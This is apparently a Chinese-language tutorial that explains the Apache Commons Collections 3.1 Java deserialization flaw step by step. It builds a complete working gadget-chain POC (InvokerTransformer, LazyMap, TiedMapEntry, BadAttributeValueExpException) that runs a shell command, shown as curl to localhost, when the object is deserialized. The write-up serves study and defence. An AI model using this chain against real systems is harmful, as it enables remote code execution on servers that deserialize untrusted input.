Apache Commons Collections反序列化漏洞

java反序列化漏洞

java一般使用readObject()方法读取序列化对象,而且readObject()支持重写,重写readObject()与php中的__wakeup()魔术方法相似

环境配置

首先是commons-collections版本<=3.2.1存在改漏洞
这里直接放测试用的pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.example</groupId>
<artifactId>myproject</artifactId>
<version>0.0.1-SNAPSHOT</version>
<dependencies>
<!-- 存在漏洞的commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
<!-- 选定入口文件 -->
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>1.2.1</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<transformers>
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<mainClass>Test</mainClass>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

然后在当前目录的src/main/java/Test.java写入代码
运行下列命令即可执行

1
2
mvn package
java -jar target/myproject-0.0.1-SNAPSHOT.jar

##漏洞讲解
先来看看InvokerTransformertransform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

很明显可以看到,该方法就是利用Java的反射机制进行函数调用的
为了RCE,需要执行Runtime.getRuntime().exec(cmd),光靠InvokerTransformertransform方法达不到此目的
这里还需要一个ChainedTransformertransform方法

1
2
3
4
5
6
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

一个可以执行命令的例子

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args)
{
Transformer[] transformers = {
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
}

首先当传入transformers

1
2
3
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

当传入InvokerTransformer

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

上面的例子就相当于执行了
Runtime.getRuntime().getClass().getMethod("exec", String.class).invoke(Runtime.getRuntime(), "curl http://127.0.0.1:10000");
接下来会一步步完善POC
上面那个例子一定需要obj.transform(Runtime.getRuntime());
但我们最终的目的是只执行readObject()便可执行命令
先修改POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl localhost:7999"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

这样只要执行obj.transform("xxxx");即可
继续修改让其自动调用transform方法
在java里toString和PHP里的__toString差不多当将这个对象当做字符串处理的时候会自动调用这个方法,所以可以找这个方法
TiedMapEntry类里的toString()调用getValue()
getValue方法调用了map实例的get方法

1
2
3
4
5
6
7
public String toString() {
return this.getKey() + "=" + this.getValue();
}

public Object getValue() {
return this.map.get(this.key);
}

LazyMap类的get方法,调用了factory实例化的transform方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

修改POC

1
2
3
4
5
6
...
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

序列化entry对象,当反序列化后将这个对象当做字符串处理的时候会自动调用从而执行命令
我们最终的目的是只执行readObject()便可执行命令
因此还需要找到一个重写了readObject(),且对某个变量进行了字符串操作的类
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java
ysoserial里看到POC直接利用了BadAttributeValueExpException类,这个类调用了toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

至此完整版的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class POC {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl localhost:7999"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);

File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();

//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("poc.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
ois.readObject();
ois.close();
}
}

参考

https://p0sec.net/index.php/archives/121/
https://xz.aliyun.com/t/4558
https://xz.aliyun.com/t/4711
https://github.com/frohoff/ysoserial/